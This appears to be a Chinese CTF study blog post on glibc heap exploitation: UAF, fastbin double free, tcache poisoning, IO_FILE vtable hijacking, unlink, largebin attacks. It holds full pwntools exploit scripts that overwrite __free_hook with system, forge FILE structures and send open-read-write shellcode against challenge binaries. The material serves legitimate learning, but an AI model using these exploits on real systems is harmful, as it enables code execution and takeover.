pwn入门(二)
主要是heap
Note
给了一个笔记本管理系统,删除回收内存但没有删除指针,存在UAF

chunk结构
prev_size(8)+size(8)+fd(8)+bk(8)+...
- 使用时 fd 以及后面的内存都用来存放数据。被回收后 fd 指向另一个回收块的 prev_size
- malloc 返回的指针指向 fd
fastbin double free
add(2,0x70,b"123")
add(3,0x70,b"123")
free(2)
free(3)
free(2)
add(4,0x70,position)
add(5,0x70,"123")
add(6,0x70,"123")
add(7,0x70,"123")
先构造 C1->C2->C1 的循环链表,然后变成 C2->C1->fd,再取三次取出fd
unsorted bin leak
unsorted bin 采用循环链表。开一个大块再 free 掉,fd 会指向 main_arena,是一个固定的地址。但是大块和 top chunk 挨在一起会被并入,所以要插入一个小块
add(1,0x500,b"123")
add(15, 0x50, b"123")
free(1)
show(1)
tcache 机制
\(\bullet\) glibc2.27引入。优化 fastbin 和较小的 smallbin。每种大小可以存7个。
\(\bullet\) 回收时,优先放入 tcache ,已满则放入对应的 fastbin
\(\bullet\) 申请时,优先从 tcache 取。如果 tcache 为空,从头开始把 fastbin 中的块依次加入 tcache,直到 tcache 满或 fastbin 空。再从 tcache 中取
\(\bullet\) 此时不会校验size
后续利用思路
libc版本2.27,泄露libc,任意写
\(\bullet\) 在没有 tcache 的版本里,fastbin 会检查 fd 指向 chunk 的 size,需要在栈上找合适的 size ,考虑劫持 __malloc_hook

hook前面有0x7f可以用
malloc_hook=libc.symbols['__malloc_hook']
fd=malloc_hook-0x23
add(11,0x70,p64(fd))
add(12,0x70,"block1")
add(13,0x70,"block2")
add(14,0x70,b"a"*0x23+p64(one_gadget))
one_gadget失效比较难办,也许可以手动模拟一下调用函数的过程(?
\(\bullet\) 没 pie 可以写 got 表
\(\bullet\) 劫持 __free_hook
exp
unsorted bin 泄露libc基址,fastbin double free 实现任意写,tcache posining 劫持 __free_hook
from pwn import *
context(os = 'linux',log_level = 'debug')
context.arch = 'amd64'
context.os = 'linux'
context.bits=64
elf=ELF('./pwn')
io=remote('127.0.0.1','37141')
libc=ELF('./libc-2.27.so')
def add(index,size,note) :
io.sendlineafter(b">>> ",str(1).encode())
io.sendlineafter(b"index: ",str(index).encode())
io.sendlineafter(b"size: ", str(size).encode())
io.sendafter(b"note: ",note)
def change(index,note) :
io.sendlieafter(b">>> ",str(2))
io.sendlineafter(b"index: ",str(index).encode())
io.sendafter(b"")
def free(index):
io.sendlineafter(b">>> ", str(4).encode())
io.sendlineafter(b"index: ",str(index).encode())
def show(index) :
io.sendlineafter(b">>> ",str(3).encode())
io.sendlineafter(b"index: ",str(index).encode())
add(1,0x500,b"123")
add(15, 0x50, b"123")
free(1)
show(1)
io.recvuntil(b"note: ")
main_arena=u64(io.recv(6).ljust(8,b'\x00'))
malloc_hook=main_arena-0x70
print("malloc_hook",hex(malloc_hook))
add(2,0x70,b"123")
add(3,0x70,b"123")
for i in range(7) :
add(4+i,0x70,b"123")
for i in range(7) :
free(4+i)
free(2)
free(3)
free(2)
for i in range(7) :
add(4+i,0x70,b"123")
libc_base=malloc_hook-libc.symbols['__malloc_hook']
libc.address=libc_base
free_hook=libc.symbols['__free_hook']
system=libc.symbols['system']
add(11,0x70,p64(free_hook))
add(12,0x70,"/bin/sh")
add(13,0x70,"block2")
add(14,0x70,p64(system))
free(12)
io.interactive()
IO_FILE

可以自由写stdout
FILE结构
_IO_FILE_plus
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
每个fd都对应了一个file,stdin/stdout/stderr在bss段,其余在堆。bss段的stdout储存一个指针,在程序运行时指向libc中的_IO_FILE_plus结构体,在进行和stdout相关的操作时,会调用vtable中的函数。对于stdin/stdout/stderr,这一指针都指向libc中的 IO_jump_t
IO_jump_t
/*_IO_finish_t等变量都为函数指针*/
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
struct IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
所有函数都会把 _IO_FILE file 作为第一个参数传入
_IO_FILE
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
wide_data
struct _IO_wide_data
{
/* 0x00 */ wchar_t *_IO_read_ptr;
/* 0x08 */ wchar_t *_IO_read_end;
/* 0x10 */ wchar_t *_IO_read_base;
/* 0x18 */ wchar_t *_IO_write_base; // 关键点1:通常要伪造为 0,用来触发 _IO_wdoallocbuf
/* 0x20 */ wchar_t *_IO_write_ptr;
/* 0x28 */ wchar_t *_IO_write_end;
/* 0x30 */ wchar_t *_IO_buf_base;
/* 0x38 */ wchar_t *_IO_buf_end;
/* 0x40 */ wchar_t *_IO_save_base;
/* 0x48 */ wchar_t *_IO_backup_base;
/* 0x50 */ wchar_t *_IO_save_end;
/* 0x58 */ __mbstate_t _IO_state;
/* 0x60 */ __mbstate_t _IO_last_state;
/* 0x68 */ struct _IO_codecvt _codecvt; // House of Emma 攻击经常劫持这里
/* 0x70 ~ 0xd8 */ wchar_t _shortbuf[1];
// 中间可能有一些 padding 和其他不常用变量
/* 0xe0 */ const struct _IO_jump_t *_wide_vtable; // 关键点2:最核心的目标,指向你伪造的 vtable!
};
printf/puts调用路径
vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write
2.24前
可以在可写位置伪造一个vtable,把 _IO_file_xsputn 改成 system,再把 _IO_FILE file 写成sh
2.24后
加入了针对vtable位置的检查,必须要位于 IO_vtable 段。但vtable段中有不同类型的vtable可以利用。
wfile链
- 修改vtable的偏移,让它指向
_IO_wfilw_vtable - 进入
_IO_wfile_seekoff
int was_writing = (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base || _IO_in_put_mode (fp));
if (was_writing)
_IO_switch_to_wget_mode (fp);
- 进入
_IO_switch_to_wget_mode
int _IO_switch_to_wget_mode (FILE *fp) {
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((int) _IO_WOVERFLOW (fp, WEOF) == EOF) //
return EOF;
...
}
满足条件的情况下,会不经check直接调用 wide_data的vtable中的 _IO_WOVERFLOW 。在构造payload时,把file_vtable指向wfile_vtable,再布置wide_data,修改wide_data_vtable中的overflow指针
除了wfile链,还要保证文件锁_lock可访问,最好(?是0。
exp
import ctypes
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
io=process('./FILE')
libc=ELF('./libc.so.6')
def set_payload(payload,l,s) :
r=l+7
return payload[:l]+p64(s)+payload[r+1:]
io.recvuntil(b"0x")
bss_start=int(io.recv(12).ljust(8,b"\x00").decode(),16)
libc_base=bss_start-libc.symbols['_IO_2_1_stdout_']
print("libc->" ,hex(libc_base))
print("libc->" ,hex(libc_base+libc.symbols['_IO_2_1_stdout_']))
io.recvuntil(b"file\n")
wide_data_offset=0x08
wide_vtable_offset=0xe0
seekoff_offset=0x48
overflow_offset=0x18
wide_data_pointer_pos=0xa0
fake_vtable=0x30
lock_offset=0x88
system=libc_base+libc.symbols['system']
file_vtable_offset=216
libc_wfile_vtable=libc_base+libc.symbols['_IO_wfile_jumps']
print("io_wfile_jumps -> ",hex(libc_wfile_vtable))
print("system -> ",hex(system))
payload=b"/bin/sh\x00"
payload+=p64(0)*3
payload+=p64(0)
payload+=p64(1)
payload=payload.ljust(0xf0,b"\x00")
payload=set_payload(payload,wide_data_pointer_pos,wide_data_offset+bss_start)
payload=set_payload(payload,wide_vtable_offset+wide_data_offset,fake_vtable+bss_start)
payload=set_payload(payload,fake_vtable+overflow_offset,system)
payload=set_payload(payload,file_vtable_offset,libc_wfile_vtable+0x10)
payload=set_payload(payload,lock_offset,bss_start+8)
gdb.attach(io)
pause()
io.send(payload)
io.interactive()
note++
glibc 2.32uaf orwgetshell
可以只用tcache,需要注意的机制有:
\(\bullet\) 修改tcache中chunk的fd指针为pos时,需要change(id,pos^(chunk_addr>>12));
\(\bullet\) tcache会对剩余块计数,malloc减一,free加一。不管链表是否为空,计数为0则不会使用tcache中的块;
\(\bullet\) 用show来泄露地址时,部分地址的最低为可能为'\x00',需要修改成非0值再输出。但malloc时似乎会检测unsortedbin里的fd指针,最好在下一次malloc前把地址改回去
\(\bullet\) 呃2.29以后会检查tcache指针链表是否在堆区中,这里gift刚好在才能奏效。那么应该可以申请正在使用的chunk,只要size是对应的就可以。
import ctypes
from pwn import *
import z3
context(arch="amd64",os="linux",log_level="debug")
"""
!!!!!!!!!!!!!!!!! important !!!!!!!!!!!!!!!!!!!!!!!!!!!!
for specific version of libc , the address of functions like '__free_hook'
might end with '\x00' , which requires to change(id,'a') before show(id), to prevent being
striped
to use the script ,you should access the last bit of __free_hook
"""
elf=ELF("./pwn_patched")
io=process("./pwn_patched")
def create(id,len,cmd) :
io.recvuntil(b"exit\n")
io.sendline("1")
io.recvuntil(b"connect:\n")
io.sendline(str(id))
io.recvuntil(b"want:\n")
io.sendline(str(len))
io.recvuntil(b"cmd:\n")
io.send(cmd)
def delete(id) :
io.recvuntil(b"exit\n")
io.sendline("2")
io.recvuntil(b"delet:\n")
io.sendline(str(id))
def show(id) :
io.recvuntil(b"exit\n")
io.sendline(b"4")
io.recvuntil(b"show:\n")
io.sendline(str(id))
return u64(io.recv(6).strip().ljust(8,b'\x00'))
def show2(id) :
io.recvuntil(b"exit\n")
io.sendline(b"4")
io.recvuntil(b"show:\n")
io.sendline(str(id))
return u64(io.recv(6).ljust(8,b'\x00'))
def change(id,cmd) :
io.recvuntil(b"exit\n")
io.sendline(b"3")
io.recvuntil(b"change:\n")
io.sendline(str(id))
io.recvuntil(b"cmd:\n")
io.send(cmd)
libc=elf.libc
create(19,0x430,b"ck1")
create(6,0x30,b"ck2")
delete(19)
change(19,b'a')
main_arena=show2(19)-0x61
change(19,p64(main_arena))
"""
!!!!!!!!!!!!!!!!!!!! important !!!!!!!!!!!!!!!!!!!!
__free_hook_minus_main_arena = ()
"""
__free_hook_minus_main_arena=0x7e4130a9ce40-0x7e4130a99c00
free_hook=main_arena+__free_hook_minus_main_arena
print("main_arena--->",hex(main_arena))
print("free_hook--->",hex(free_hook))
create(0,0x30,b"111")
delete(0)
heap_base=show(0)
print("heap_base---->",hex(heap_base))
gift=(heap_base<<12)-0x1000+0x2a0
create(1,0x30,b"111")
# ------------tcache poisoning ---------------
create(2,0x30,b"111")
create(3,0x30,b"111")
delete(2)
delete(3)
change(3,p64(gift^heap_base))
create(4,0x30,b"111")
create(5,0x30,b"a")
#-----------write chunk_5 is write gift ---------------
"""
!!!!!!!!!!!!!!!!!!!!important !!!!!!!!!!!!!!!!!!
0xd8 : last bit of gift_addr
"""
gift_addr=show(5)-0x61+0xd8
print(gift_addr)
print("gift--->",hex(gift))
print("gift_addr--->",hex(gift_addr))
create(7,0x30,b"111")
create(8,0x30,b"111")
delete(7)
delete(8)
change(8,p64(free_hook^heap_base))
print("main_arena--->",hex(main_arena))
print("free_hook--->",hex(free_hook))
create(9,0x30,b"111")
create(10,0x30,p64(gift_addr))
create(11,0x40,b"/bin/sh")
delete(11)
flag_path = './flag'
# 构造 ORW shellcode
# 1. Open: 打开 flag 文件 (此时 open 系统调用的返回值 fd 会保存在 rax 寄存器中)
sc = shellcraft.open(flag_path)
# 2. Read: 读取 fd (rax) 中的内容到栈上 (rsp), 读取 0x100 字节
sc += shellcraft.read('rax', 'rsp', 0x100)
# 3. Write: 将栈上 (rsp) 读到的 0x100 字节写到标准输出 stdout (1)
sc += shellcraft.write(1, 'rsp', 0x100)
# 编译汇编代码得到最终的 payload 字节流
payload = asm(sc)
print(f"Shellcode length: {len(payload)} bytes")
io.recvuntil(b"what are u want say to me?\n")
io.send(payload)
flag = io.recv(0x100)
print(b"FLAG: " + flag)
CV_manager
unlink 2.35
条件
- 已知一个指向uaf的chunk的指针ptr
效果
- 把ptr指向&ptr-0x18,进而可以修改ptr
需要注意
-
当malloc的size不是16的倍数时,会进行复用,如果有offby1可能刚好覆盖下一个块的prev_inuse
-
unlink需要先填充tcache
-
unlink会破坏当前链表的结构,unlink unsorted bin中的chunk,再free某个chunk进入ub中时会崩溃。解决方法是申请一个更大的块,在malloc时,先检查tcache,再依次检查ub中的每个块,如果不相等会扔到对应的small/large bin中,再从sb/lb中分配。这里的unlink就会在small bin中进行,保证ub是完好的。
-
ub存在last_remainder机制
-
unlink后合并成的大块会被扔回unordered bin
exp
#填充tcache
for i in range(11) :
build(0x108,b"CCTTFFEERR!!")
for i in range(9,2,-1) :
free(i)
#得到一个uaf的指针
io.recvuntil(b"Your choice:")
io.sendline(b"666")
io.sendlineafter(b"index:\n",b"0")
pie=u64(io.recv(6).ljust(8,b'\x00'))-0x51e0
ptr=pie+0x5068
# 把现在unsorted bin中的chunk扔到small chunk里,防止在unsorted bin里unlink破坏结构
build(0x188,b"CCTTFFEERR!!")
fake_chunk = p64(0) # fake chunk 的 prev_size
fake_chunk += p64(0x101) # fake chunk 的 size ,应该是原本chunk的size-0x10
fake_chunk += p64(ptr - 0x18) # fd 指向 &global[2]-0x18
fake_chunk += p64(ptr - 0x10) # bk 指向 &global[2]-0x10
fake_chunk += b"c" * (0x100-0x20) # 填充到 chunk0 数据区末尾
fake_chunk += p64(0x100) # 覆盖 chunk1.size,清除 PREV_INUSE 位
edit(0,fake_chunk)
free(1)
checkin
fmt的缓存机制
如果字符串里带有 $ ,fmt会先完成输出再进行修改,否则会边输出边修改。使用 %.0s 占位而不使用 $ 可以用一次输入修改栈上指针再修改指向的位置。
可以接受的字符输出量在 0xffffff 左右
ezheap
glibc2.35的note,限定largebin,存在offbyone,无法劫持iofile


largebin

largebin leak
malloc 取出 chunk 时不会主动清除上面的指针。show(c5) 可以泄露 libc 和 heap
off by one

用fake_chunk绕过unlink对指针的检查,得到了一个ub中可以uaf的chunk
largebin attack
mp.tcachebin
struct tcache_perthread_struct 是位于 heap 段起始位置的结构体
// 从 heap+0x10 开始
struct tcache_perthread_struct {
uint16_t counts[64]; // 占据 64 * 2 = 128 (0x80) 字节
tcache_entry *entries[64]; // 占据 64 * 8 = 512 (0x200) 字节
};
mp.tcache_bins 在 libc_base+0x203100 左右,表示 tcache 的 bin 数,在 malloc/free/stash 时使用
mp.tcache_max_bytes 在 stash 时使用
struct {
int tcache_bins; // tcache 所允许的最大bin数(默认64)
size_t tcache_max_bytes; // tcache 允许的最大byte(默认1032)
size_t tcache_max_count;
}
如果能把 tcache_bins 修改为堆上的地址,在 malloc/free 时所有的 chunk 都会经过 tcache。对应的 entries 会溢出到堆上。
entries[0x42] = 0x10+0x80+0x42*8 = 0x290+0x10 = heap_0.data
house of cat
因为 main 没有 return 而且 io 只用到了 read/write,这种方法失效了
__environ
rop
glibc 没有 pop rdx; ret 的 gadget,要用 pop rdx; leave; ret
关于shstk
checksec 显示 enable 也不一定有,应该是都不会开

浙公网安备 33010602011771号